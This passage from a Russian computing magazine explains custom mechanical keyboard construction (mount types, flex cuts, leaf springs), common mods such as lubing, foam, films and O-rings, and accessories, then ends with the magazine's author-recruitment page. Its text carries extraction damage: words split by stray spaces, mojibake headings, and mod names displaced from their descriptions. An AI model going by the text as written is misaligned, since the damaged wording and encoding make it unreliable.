ляют малень кие силико новые колеч ки на боковые стой ки. Получа ется чуть
под пру жинен ная посад ка «бутер бро да» в кор пус.

Кор пус типа Tray Mount

Кор пуса типа Top Mount сос тоят уже из двух час тей. Изнутри вер хней час ти
прик ручива ется плейт с пла той и сви чами. У плей та есть спе циаль ные ушки
с отвер сти ями под вин ты, а у вер хней час ти на дне — резь бовые отвер стия
для этих самых вин тов. Далее соб ранная вер хняя часть прик ручива ется к ниж- 
ней.

Кор пус типа Top Mount

Bottom Mount — то же самое, что и Top Mount, но пла та и плейт прик ручива- 
ются к ниж ней час ти кор пуса, и уже поверх этой конс трук ции уста нав лива ется
вер хняя часть. В таком исполне нии про изво дят боль шинс тво масс-мар- 
кет-кла виатур, но быва ют и кас томы в этом фор мате.

Gasket Mount — край не замыс ловатый тип конс трук ции. Основная идея
зак люча ется в том, что бы плейт не кон такти ровал с час тями кор пуса. Безум- 
ный гений инже неров решил исполь зовать для это го прок ладки (они же гас- 
кеты) из резины и про чих мяг ких матери алов. Эти прок ладки могут пред став- 
лять собой здо ровен ное резино вое коль цо O-Ring, которое натяги вает ся
на «бутер брод» из плей та и пла ты, а кор пус име ет спе циаль ные упо ры
для коль ца, поэто му ни плейт, ни пла та его не каса ются. Такое исполне ние
Gasket Mount счи тает ся клас сичес ким, в пос леднее вре мя его называ ют O-
Ring Gasket Mount.

Isolation Mount — это сов ремен ная вари ация пре дыду щего типа кор пуса.
В плей те выреза ются лифы (они же выс тупы), на которые нак леены резин ки.
Иног да резин ки нак леены на ниж ней и вер хней час ти кор пуса кла виату ры,
а еще — на стен ках кор пуса у некото рых моделей. В общем, плейт зажима- 
ется вер хней и ниж ней частью кор пуса, но не нап рямую, а через резин ки.
Это про ще уви деть, чем опи сать, так что луч ше зацени .
Кор пус GMMK PRO отлично подой дет в качес тве при мера.

ви доси ки на юту бе

Кор пус типа Isolation Mount — GMMK PRO

INFO

В сооб щес тве име ются некото рые раз ногла сия
и спо ры отно ситель но это го типа креп ления.
Олды называ ют гас кетом толь ко клас сичес кий O-
Ring Gasket, ведь они топят за спра вед ливость
и исто ричес кую дос товер ность. Шко лот роны
и некото рые кла воги ки гас кетом называ ют вооб- 
ще все виды маун та, где плейт либо пла та отде- 
ляют ся от кор пуса резино выми дем пфе рами.
И да, про изво дите ли серий ных кла виатур сами
называ ют свои типы креп лений Gasket Mount,
хотя чаще все го это кон крет ная его раз новид- 
ность — Isolation Mount. Отсю да и рас тет непони- 
мание, что называть гас кетом, а что не называть.

Мое мне ние таково: гас кет в сов ремен ном
мире стал не раз новид ностью маун та, а ско рее
опци ей, которая уже при меня ется к раз личным
видам креп лений. Но сам я ста раюсь называть
вещи сво ими име нами и не име новать гас кетом
все кла виату ры такого рода. Прос то имей это в
виду.

FLEX

Flex — это эффект, при котором бутер брод из пла ты и плей та со сви чами
либо прос то пла ты со сви чами про гиба ется по вер тикаль ной оси при печати.
Это конс трук тор ское решение нра вит ся людям, которые хотят, что бы кла виши
нажима лись мак сималь но мяг ко. Конс трук ции флекс-кла виатур быва ют раз- 
ные, опи шу пару самых популяр ных.

Тер мином «флекс-каты» называ ют горизон таль ные вырезы в пла те кла- 
виату ры. На кла виату рах Half Plate либо в Plateless-исполне нии флекс-каты
дают изгиб рядов по вер тикаль ной оси отно ситель но друг дру га. Это уде шев- 
ленный вари ант, так как мож но купить пла ту Plane60 или кучу дру гих и уста- 
новить в кор пус Tofu60, тог да ничего переде лывать не при дет ся.

Лифс прин ги — это более слож ная инже нер ная фиш ка, которая поз воля ет
флек сить кла виату рам Isolation Mount. У плей та или пла ты выпили вают ся спе- 
циаль ные выс тупы, а в самих выс тупах выпили вают ся флекс-каты, что поз- 
воля ет этим выс тупам (лифам) пру жинить. Плюс в вер хней и ниж ней час ти
кор пуса вытачи вают ся отвер стия под эти лифы. Они не зажима ют «бутер- 
брод» твер до, как в Isolation Mount через слои резины, а содер жат в себе мяг- 
кий и пру жинис тый матери ал, он так же дает некото рую сво боду лифам
для переме щения по вер тикаль ной оси. Сочета ние пер вого и вто рого
методов дает мак сималь ный флекс-эффект, бла года ря которо му пла та
с плей том кла виату ры переме щает ся целиком по вер тикаль ной оси, да еще
и про исхо дит флекс горизон таль ных рядов кла виш отно ситель но друг дру га.

ÌÎÄÛ

Мо дифи кации исполь зуют для изме нения свой ств и харак терис тик кла виату- 
ры. Одни быва ют стро го обя затель ные, дру гие — вку сов щина, третьи —
шизоф реничес кие, чаще все го их при думы вают школь ники неиз вес тно зачем.

Îáÿçàòåëüíûå

Ñìàçêà

К «обя затель ной прог рамме» отно сит ся, безус ловно, смаз ка. В сво ей работе
я исполь зую теф лоновую смаз ку Krytox 205g0, 205g2 и Krytox 105 (мас ло),
а так же силико новую смаз ку Permatex. Сма зок сущес тву ет великое мно жес- 
тво, но перечис ленные счи тают ся золотым стан дартом для смаз ки перек- 
лючате лей и ста били зато ров кла виатур.

Смаз ка ста били зато ров нуж на для устра нения зво на и гро хота ста били- 
зато ра при печати. Прин цип такой: стен ки кор пуса ста били зато ра я сма зываю
Krytox 205g2, он более гус той и отлично под ходит для ста бов. Ско ба сма- 
зыва ется силико новой смаз кой Permatex — она уби рает звон ско бы и работа- 
ет как дем пфер. В общем, ста били зато ры нуж но сма зывать обя затель но
на любых кла виату рах, про изво дите ли масс-мар кета чаще все го на это
забива ют, а вот в кас томах смаз ка — обя затель ное тре бова ние. Плюс в мас- 
совом про изводс тве кла виату ру никог да не сма жут хорошей смаз кой и пра- 
виль ным методом, потому что это меша ет уско рению и уде шев лению про- 
изводс тва.

В кла виату рах мас сового сег мента перек лючате ли прак тичес ки никог да
не сма зыва ют, пох вастать ся такой опци ей могут край не мало про изво дите лей
и моделей. Смаз ка повыша ет плав ность нажатия на кноп ку, при чем это сра зу
чувс тву ется. Еще смаз ка умень шает «эффект пес ка» там, где он есть, дела ет
тише и при ятнее звук печати и слег ка умень шает воб линг сте ма перек лючате- 
ля (воб линг — это неболь шие откло нения сте ма по горизон таль ной оси
в кор пусе сви ча). У каких-то перек лючате лей он боль ше, у каких-то мень ше.
Тра геди ей воб линг не счи тает ся, но, само собой, луч ше, ког да он неболь шой.

И да — смаз ка перек лючате лей уби рает звон пру жин. Мож но сде лать кла- 
виату ру на сай лент-перек лючате лях, но нес мазан ные пру жины при печати все
рав но будут дико зве неть на всю ком нату и бесить окру жающих. В общем,
для кас томов это тоже обя затель ная про цеду ра.

Øóìêà

Шум ка — это лис ты шумопог лоща ющих матери алов, про ложен ные меж ду
пла той и плей том, они же выс тила ются на дне кла виату ры. В качес тве шум ки
луч ше все го под ходят плот ные яче истые матери алы, такие как поролон, бип- 
ласт и им подоб ные. Шум ка гасит лиш ние зву ки и дела ет конс трук цию кла- 
виату ры монолит нее, умень шая эффект уда ра по пус тому вед ру. В мидл-сег- 
менте она при обре тает ся отдель но либо выреза ется из лис тового матери- 
ала. В хай-сег менте шум ка идет в ком плек те, так как час то име ет нес тандар- 
тную фор му.

Ус танов ка шум ки в кла виату ру — дело нехит рое и весь ма полез ное,
хотя бы на дно ее про ложить не так уж и слож но — дос таточ но разоб рать кла- 
виату ру и вырезать нуж ный кусок. А вот меж ду пла той и плей том помес тить
шумо изо ляцию уже слож нее. Такая шум ка дол жна иметь вырезы под перек- 
лючате ли и ста били зато ры, а так же под стой ки креп ления кор пуса. Поэто му
вруч ную ее ред ко кто-то режет, обыч но покупа ют в магази нах сра зу нарезан- 
ную под кла виату ру нуж ного фор мата.

Íåîáÿçàòåëüíûå

 — из лис та вспе нен ного поли эти лена тол щиной 1 мм

выреза ется кусок в фор ме пла ты кла виату ры и прок ладыва ется меж ду
перек лючате лями и пла той. Этот лист изме няет звук кла виату ры, но в
какую сто рону — зависит от кор пуса и перек лючате лей.

• PE Foam mod

 — похож на пре дыду щий мод. Берет ся бумаж ный маляр ный

скотч и нак леивает ся на ниж нюю часть пла ты. Этот мод тоже вли яет
на звук, и я тоже счи таю его вку сов щиной.

• Tape Mod

 — это мод для ста били зато ров кла виату ры. Берет ся плас- 

тырь, из него выреза ются неболь шие полос ки и прок леивают ся меж ду
кор пусом ста били зато ра и плей том кла виату ры. Плас тырь работа ет
как уплотни тель и нужен, что бы ста били зато ры не бол тались в плей те.
Под ходит для ста били зато ров Plate Mount и Costar.

• Band Aid mod

, он же anti-rattling-мод. Это тоже мод для ста били зато ров.

Берет ся тон кая полос ка плас тыря или дру гого похоже го слег ка дем пфи- 
рующе го матери ала и нак леивает ся на вер хний свод сте ма ста били зато- 
ра, туда, куда вхо дит ско ба. С этим модом умень шает ся отвер стие
для ско бы, и она перес тает люф тить. Мод дела ет ста били зато ры зна- 
читель но тише, но кноп ки могут нажимать ся туже и неп рият нее. Я
рекомен дую изна чаль но купить хорошие ста били зато ры, у которых нет
проб лем с люф том, нап ример Gateron Ink, Durock v2, ZealPC. Мод под- 
ходит для ста били зато ров PCB и Plate Mount.

• Holee mod

 — у ста били зато ров Cherry и некото- 
рых дру гих на сте ме есть Г-образные нож ки, которые дела ют нажатие
на ста били зато ры мяг че. Кто-то отре зает эти нож ки, что бы нажатие ста ло
чет че.

• Ïîä ðåçêà íîæåê ñòà áèëè çàòî ðà

 Спе циаль ные сти керы кле ятся на пла ту

под ста били зато ры, работа ют как дем пфе ры и дела ют нажатия чуточ ку
мяг че.

• Íàê ëåé êè ïîä ñòà áèëè çàòî ðû.

, они же филь мы. Филь мы — это тон кие пле ноч ки, которые

выреза ются под кор пус перек лючате ля и уста нав лива ются меж ду его ниж- 
ней и вер хней частью. Этот мод рекомен дован для всех перек лючате лей,
где вер хняя и ниж няя часть при лега ют друг к дру гу неп лотно из-за осо бен- 
ностей отливки. Из-за неп лотно го при лега ния час ти кор пуса люф тят отно- 
ситель но друг дру га, и печать на таких перек лючате лях ста новит ся более
шум ной. Film mod дела ет работу перек лючате лей тише, а конс трук цию —
монолит нее. Сре ди гиков рас простра нено мне ние, что филь мы
еще умень шают воб блинг сте ма сви ча, — но нет. Воб блинг сте ма зависит
от гра мот ного рас чета ширины сте ма и нап равля ющих ниж него кор пуса
сви ча.

• Film mod

, они же мил макс-сокеты. Мил максы — это втул ки, которые

работа ют по прин ципу цан гового соеди нения. С помощью мил максов пла- 
ту, пред назна чен ную для пай ки сви чей, мож но сде лать хот свап-пла той.
Эти сокеты впа ивают ся в отвер стия для пай ки, а внут ри них есть лепес тки,
которые плот но удер жива ют нож ку перек лючате ля в сокете.

• Milmax mod

, или оринг, — это резино вые колеч ки, которые надева ются

на кей капы изнутри и дей ству ют как дем пфе ры. При нажатии на кла вишу
резино вое колеч ко ока зыва ется меж ду кей капом и перек лючате лем, из-за
это го печать ста новит ся тише, ход кла виш мень ше и мяг че при нажатии
до кон ца. Орин ги быва ют раз ной тол щины для регули ров ки опи сан ных
выше эффектов. Если перебор щить с тол щиной, то нажатие будет неп- 
рият но мяг ким и ват ным. Луч ше купить сай лент-перек лючате ли, чем про- 
изво дить такой мод, печать будет нам ного при ятнее по ощу щени ям.

• O-Ring mod

ÊËÀÂÈÀÒÓÐÍÛÅ ÀÊÑÅÑÑÓÀÐÛ

Àðòèçàíû

Ар тизаны — это кей капы, которые чаще все го про дают ся по одной штуч ке
и пред став ляют собой пред меты искусс тва. Если кон крет ней, арти заны нуж ны
для укра шения кла виату ры и для при дания ей инди виду аль нос ти.

Эти шту ки могут выг лядеть как игрушки, сде лан ные из плас тика, и пред- 
став лять собой вся кие мор дочки зве рей или популяр ных пер сонажей.
Еще быва ют кра сивей шие диора мы, залитые в эпок сидную смо лу и сде лан- 
ные вруч ную, что повыша ет их цен ность и сто имость. В качес тве при мера
мож но при вес ти арти заны от ком пании Dwarf Factory.

Ар тизаны

Еще арти заны изго тав лива ют из метал ла. Нап ример, арти зан, выточен ный
из алю миния для кей кап сета ePBT Kuro Shiro. Осно ва это го арти зана сде лана
из метал ла, он пок рыт лаком, а на вер хней час ти вырезан иерог лиф. Некото- 
рые арти заны могут вклю чать в себя дви гающиеся час ти — ска жем, быва ют
изде лия со спин нером, который пол ноцен но вра щает ся, если его легонь ко
под деть паль цем. А быва ют и более круп ные арти заны от популяр ных ком- 
паний с дви гающи мися час тями. Нап ример, арти зан от ком пании Asus,
который уста нав лива ется на пра вый Shift, — он сде лан из метал ла и похож
на виде окар ту с тре мя кулера ми, которые вра щают ся на малень ких под- 
шипни ках.

Це ны на прос тые арти заны, отли тые из плас тика, чаще все го неболь шие,
но на метал личес кие и на залитые в эпок сидку диора мы, изго тов ленные вруч- 
ную, цена может дос тигать 10 тысяч руб лей и боль ше.

Ïîäñòàâêè ïîä çàïÿñòüÿ

Кас томные кла виату ры в боль шинс тве сво ем не име ют встро енных под ста вок
под запястья, и для повыше ния ком форта были соз даны спе циаль ные под- 
став ки, что бы руки не находи лись на весу. Кас томы име ют раз личную высоту
кор пуса и ширину рамок, поэто му поль зовать ся самыми высоки ми кла виату- 
рами порой быва ет не слиш ком удоб но, но это воп рос инди виду аль ный, так
как руки у всех раз ные.

Под став ки раз лича ются по раз мерам (нап ример, что бы соот ветс тво вать
ширине кла виату ры), а так же по матери алам. В качес тве матери ала может
быть исполь зовано дерево с раз личны ми вари анта ми обра бот ки, плас тик,
кожа с внут ренним напол нителем, тка ни, эпок сидная смо ла с диора мами
внут ри и так далее. Матери алы под бира ет себе каж дый исхо дя из жела емых
так тиль ных ощу щений и раз меров кошель ка. Некото рые под став ки могут быть
жес тки ми, нап ример деревян ные, а дру гие — мяг кими, к таковым отно сит ся
ткань с напол нителем.

Так же кас томные кла виату ры могут раз личать ся углом нак лона и не иметь
ножек для регули ров ки это го угла, поэто му под став ки тоже раз лича ются угла- 
ми нак лона, что бы орга нич но сочетать ся с кла виату рой, ну и для удобс тва,
само собой.

Êàñòîìíûå êàáåëè

К кас томным отно сят коил-кабели и кабели, вклю чающие в себя кон нектор,
называ емый «ави ато ром». Коил выг лядит как пру жина. Олды все еще пом нят
совет ские телефон ные труб ки с кру ченым кабелем, вот прак тичес ки то же
самое пред став ляет собой сов ремен ный коил-кабель для кла виатур.
Какую-то полез ную наг рузку этот кабель не несет, его покупа ют ради эсте тики
и при дания некото рой вин тажнос ти сво ему сетапу на рабочем сто ле.

Ко ил-кабель

Те перь рас ска жу об ави ато рах. Ави атор — это осо бый тип кон некто ра,
который обыч но исполь зует ся в воен ных, медицин ских и про чих сре дах, где
на пер вом мес те сто ит надеж ность соеди нения. Два разъ ема под клю чают ся
по прин ципу «папа — мама» штырь ковым соеди нени ем, на одном из кон- 
некто ров име ется резь ба, а на дру гом — гай ка, которая зак ручива ется и пре- 
дот вра щает воз можность разъ еди нения кабеля. При мер такого разъ ема —
GX16.

Разъ ем-ави атор GX16

Бы вают ави ато ры на спец разъ емном механиз ме, в котором для разъ еди- 
нения нуж но потянуть по оси кабеля коль цо. При мер такого изде лия — Lemo.
Почему коил-кабель кас томный? Эти кабели собира ются самос тоятель но
гиками для себя и на про дажу, хотя встре чают ся и .се рий ные образцы

При самос тоятель ной сбор ке такого кабеля мож но выб рать из огромно го
количес тва рас цве ток и пок рытий. Стан дар тной осно вой слу жит паракорд.
Паракорд — это ней лоновый шнур, в который про дева ется обык новен ный
USB-кабель, чаще все го с тон ким резино вым пок рыти ем для умень шения
тол щины готово го кабеля. Паракор ды име ют раз личную тек сту ру и огромный
ассорти мент рас цве ток. С ави ато рами тоже воз можна кас томиза ция: некото- 
рые про изво дите ли выпус кают их в раз личных цве тах и с раз ными спо соба ми
окраски, а энту зиас ты и про изво дите ли готовых кабелей сами кра сят их
порош ковыми крас ками, церако том и про чими метода ми. Все ради кра соты
и сти ля!

Êîâðèêè äëÿ êëàâèàòóðû

Од но вре мя все исполь зовали толь ко ков рики для мыш ки неболь шого раз- 
мера. Пос тепен но ста рани ями основных масс-мар кет-ком паний ков рики ста- 
нови лись все боль ше и боль ше, и вот появи лись изде лия, на которые ста ла
помещать ся и кла виату ра, и мышь поль зовате ля.

Ков рики быва ют масс-мар кет-сег мента, а быва ют кас томные. Вот о кас- 
томных я рас ска жу под робнее. В Рос сии пер вое мес то занима ет ком пания

. Она вла деет целой фаб рикой по про изводс тву в Под московье.
Эти ребята дела ют весь ма качес твен ные ков рики для раз личных ком паний:
Dark Project, Red Square, Nvidia и мно гих дру гих, а так же кас томные ков рики
с раз личны ми матери ала ми повер хнос ти (жак кард, поли эстер, мик рофиб ра).
Тол щина резино вой под ложки может сос тавлять, нап ример, 3 или 4 мм,
а свер ху мож но напеча тать принт, который поль зователь при сыла ет в виде
гра фичес кого фай ла.

CustomMade

Еще сто ит упо мянуть об овер локе (про шив ка кра ев ков рика нитью): он
быва ет чер ным или в цвет прин та. Сами ков рики дела ют раз ных раз меров.
За стан дарт при нят фор мат 900 на 400 мм, но мож но сде лать и мень ше,
и боль ше — на весь стол. Ков рик может быть раз ных форм, нап ример если
стол име ет нес тандар тную геомет рию сто леш ницы. Озна комить ся с готовы ми
ков риками мож но , тут есть на что пос мотреть.вот здесь

ÇÀÊËÞ×ÅÍÈÅ

На вер ное, ты уже понял, что, с одной сто роны, кас томные кла виату ры доволь- 
но прос тое по конс трук ции устрой ство, а с дру гой — в его изго тов лении есть
куча осо бен ностей и нюан сов. Но удо воль ствие, которое ты получишь
от работы с таким девай сом, мно гок ратно пре высит любые нак ладные рас- 
ходы. В кон це кон цов, пра виль ная кла виату ра — это нас тоящее про изве-
дение искусс тва, которое укра сит любой интерь ер и навер няка ста нет пред-
метом тво ей гор дости и завис ти окру жающих.

https://www.youtube.com/results?search_query=isolation+mount+keyboard
https://www.pcgamingrace.com/blogs/news/new-glorious-coiled-cable-colors-available-10-20
https://vk.com/cstmmade
https://vk.com/album-196613718_273053104


СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции
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